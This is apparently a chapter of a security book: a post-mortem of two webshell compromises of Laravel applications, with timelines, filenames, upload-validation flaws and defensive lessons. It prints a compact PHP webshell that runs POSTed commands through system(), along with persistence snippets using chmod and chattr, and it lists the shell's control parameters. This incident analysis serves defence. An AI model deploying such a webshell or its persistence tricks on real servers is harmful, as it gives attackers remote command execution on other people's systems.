ClipCraft and Cetatean-ro: Two attacks we survived
This chapter isnât theory. Itâs a post-mortem.
Between December 2025 and January 2026, two of our production Laravel applications were compromised. Real businesses. Real users. Real data at risk.
Weâre sharing everything we learned - the timeline, the files, the techniques - so you can recognize these patterns before they become your problem.
This Wasn't Our First Time
Before ClipCraft and Cetatean.ro, we had already experienced a similar attack on shared hosting. Twelve Laravel applications on a single hosting accountâmost of them compromised with the same SEO spam malware. One weak point, twelve infected sites. Thatâs when we first realized: shared hosting multiplies your risk. But we didnât learn our lesson fast enough.
Attack #1: ClipCraft (December 2025)
ClipCraft is an AI-powered video creation platform. Built on Laravel, it helps content creators automatically generate short-form videos for TikTok, Instagram Reels, and YouTube Shortsâcomplete with AI narration, dynamic subtitles, and automated editing. It had been running smoothly for months. Then Christmas came.
Timeline
| Date | Time | Event |
|---|---|---|
| Dec 24 | Unknown | Initial backdoor 1e58d74cc1ff.php planted in /public/ |
| Dec 25 | 02:03 | First recorded access from IP 194.110.207.198 |
| Dec 25-26 | Ongoing | Attacker explores filesystem, uploads additional shells |
| Dec 26 | Morning | SEO spam directories created: d2f08/, bb75f/, etc. |
| Dec 26 | Afternoon | accesson.php copied to ~15 directories |
| Dec 27 | Evening | We discover the breach by accident |
72+ Hours Undetected
The attacker had free access to our server for over 72 hours before we noticed anything wrong. There was no monitoring. No alerts. No automated scanning.
The malware files
Hereâs what we found when we started investigating:
Primary Webshell:
/public/1e58d74cc1ff.php
This was the main backdoor - a full-featured webshell with file management, command execution, and upload capabilities.
Backup Shells:
/public/cf7a7e59e4.php
/public/98e2628301.php
/public/7a3b2c1d4e.php
The attacker deployed multiple backup shells with randomized hash names. If we found and deleted one, the others would still work.
The Spreader:
accesson.php
This file was copied to approximately 15 directories throughout the project:
/public/accesson.php
/storage/app/public/accesson.php
/resources/accesson.php
/app/accesson.php
/config/accesson.php
/database/accesson.php
... and more
SEO Spam Directories:
/public/d2f08/
/public/bb75f/
/public/a9c3e/
These contained thousands of HTML files with fake product listings, pharmacy spam, and gambling links - all designed to hijack our domainâs SEO authority.
Attack techniques used
1. Hash-named Files
Every malicious file used a random hex string as its name:
1e58d74cc1ff.phpcf7a7e59e4.php98e2628301.php
This makes manual detection nearly impossible. How do you spot a malicious file among thousands when it looks like a cache file or temporary upload?
2. Multi-location Persistence
By copying accesson.php to 15+ directories, the attacker ensured that:
- Deleting one copy wouldnât stop them
- They had multiple entry points
- At least one would likely survive a partial cleanup
3. Self-Protection
The webshells included self-protection mechanisms:
// Set file permissions to read-only
chmod(__FILE__, 0444);
// Try to set immutable flag (Linux)
@shell_exec('chattr +i ' . **FILE**);
// Disable error reporting
error_reporting(0);
ini_set('display_errors', 0); 4. Parameter-Based Commands
The webshells used URL parameters for different functions:
?up- Upload file interface?id=xxx- Execute command?dl=path- Download file?ed=path- Edit file
How Did They Get In?
Our investigation pointed to a compromised admin account. The attacker likely:
- Obtained credentials through phishing or credential stuffing
- Logged into the Laravel admin panel
- Found a file upload feature with insufficient validation
- Uploaded the initial webshell disguised as an image
The Entry Point
The initial backdoor was uploaded through a legitimate feature of our
application. The upload validation checked MIME type but not file extension
thoroughly. A file named image.php with a forged MIME type passed
validation.
Attack #2: Cetatean-ro (January 2026)
Three weeks later, it happened again - to a different project.
Cetatean.ro is a news analysis platform that helps Romanian citizens develop critical thinking about media. The name means âCitizenâ in Romanian. Using AI-powered credibility assessment, it enables users to analyze news articles for bias and accuracy. The stakes were highâuser trust and platform credibility were on the line.
The Discovery
Unlike ClipCraft, we didnât discover this attack ourselves.
Hostingerâs malware scanner flagged a suspicious file:
/storage/app/public/kjrce03dcm.php
Hosting Provider Detection
Our hosting providerâs generic scanner found what we missed. But their scanner isnât Laravel-aware - it only caught this because the pattern matched known webshell signatures.
The Malware
File: kjrce03dcm.php
Location: /storage/app/public/
Type: Compact webshell (China Chopper variant)
The file was small - only about 4KB - but extremely dangerous:
<?php
// Disable errors
@error_reporting(0);
@ini_set('display_errors', 0);
// Accept commands via POST
if(isset($_POST['cmd'])) {
echo '<pre>';
$cmd = $_POST['cmd'];
// Execute and output
@system($cmd);
echo '</pre>';
}
// File operations via GET
if(isset($_GET['action'])) {
switch($_GET['action']) {
case 'upload': /_ ... _/ break;
case 'download': /_ ... _/ break;
case 'delete': /_ ... _/ break;
}
}
?> The Attack Vector
This time, the entry point was different:
- The application had a public file upload feature for user documents
- The upload went to
storage/app/public/(publicly accessible via symlink) - Validation checked file size and MIME type, but not the extension
- Attacker uploaded
kjrce03dcm.phpdirectly
What Saved Us
Two things prevented major damage:
- Early detection - Hostinger flagged it within 48 hours
- Limited propagation - The attacker hadnât yet spread to other directories
But this was luck, not skill.
Common Patterns Between Attacks
Looking at both incidents, clear patterns emerged:
1. Target Directories
Both attacks targeted publicly accessible directories:
| Directory | Why Itâs Targeted |
|---|---|
/public/ | Directly web-accessible |
/storage/app/public/ | Accessible via symlink |
/public/uploads/ | User upload destination |
2. Filename Strategies
| Strategy | Example | Purpose |
|---|---|---|
| Random hash | 1e58d74cc1ff.php | Avoid detection |
| Common name | cache.php | Blend in |
| Similar to legit | config.php.bak | Look like backup |
3. Self-Preservation
Both webshells included:
- Error suppression (
@prefix,error_reporting(0)) - Permission manipulation (
chmod,chattr) - Multiple copies in different locations
4. No Monitoring = No Detection
Neither attack was detected by our own systems. We had:
- â No file integrity monitoring
- â No automated malware scanning
- â No alerts for new PHP files in upload directories
- â No Laravel-specific security tools
Lessons Learned
Lesson 1: PHP Should Never Exist in Upload Directories
Golden Rule
There is NEVER a legitimate reason for a .php file to exist in: -
/storage/app/public/ - /public/uploads/ - Any user-upload directory
If a PHP file appears there, itâs malware. Period.
Lesson 2: Filename Patterns Matter
Hash-based filenames like 1e58d74cc1ff.php are almost always malicious. Legitimate Laravel files have readable names.
Lesson 3: One Backdoor Becomes Many
Attackers donât stop at one entry point. They immediately create backups and spread to other locations. Finding one malicious file means there are probably more.
Lesson 4: Manual Checking Doesnât Scale
We had thousands of PHP files across these projects. Manual inspection was impossible. We needed automation.
Lesson 5: Generic Scanners Arenât Enough
Hostingerâs scanner found kjrce03dcm.php because it matched a known signature. But it would have missed:
- Obfuscated code
- Laravel-specific attack vectors
- Malicious service providers
- Compromised route files
Lesson 6: Shared Hosting Multiplies Risk
Remember the attack we mentioned at the start? Before ClipCraft and Cetatean.ro, twelve applications on shared hosting were compromised in a single sweep. On shared hosting, one vulnerable application can lead to all of them being infectedâeither through cross-account contamination or simply because attackers scan all sites on the same IP.
If youâre running multiple Laravel applications on shared hosting, they share the same risk pool. One weak link compromises everything.
The Birth of This Project
These two attacks - within three weeks of each other - forced us to act.
We couldnât keep hoping weâd get lucky. We needed:
- Automated scanning that understands Laravelâs structure
- Real-time monitoring that alerts us to new threats
- Signature detection for known malware patterns
- Behavioral analysis for unknown threats
- Zero false positives so we could trust the alerts
Thatâs why we built Laravel Malware Scanner.
And thatâs why weâre sharing this book with you - so you can learn from our mistakes instead of making your own.
Next: Chapter 3 - The 6 Most Common Attack Vectors in Laravel â
In the next chapter, weâll examine the most common ways attackers compromise Laravel applications - including the critical CVEs you need to know about.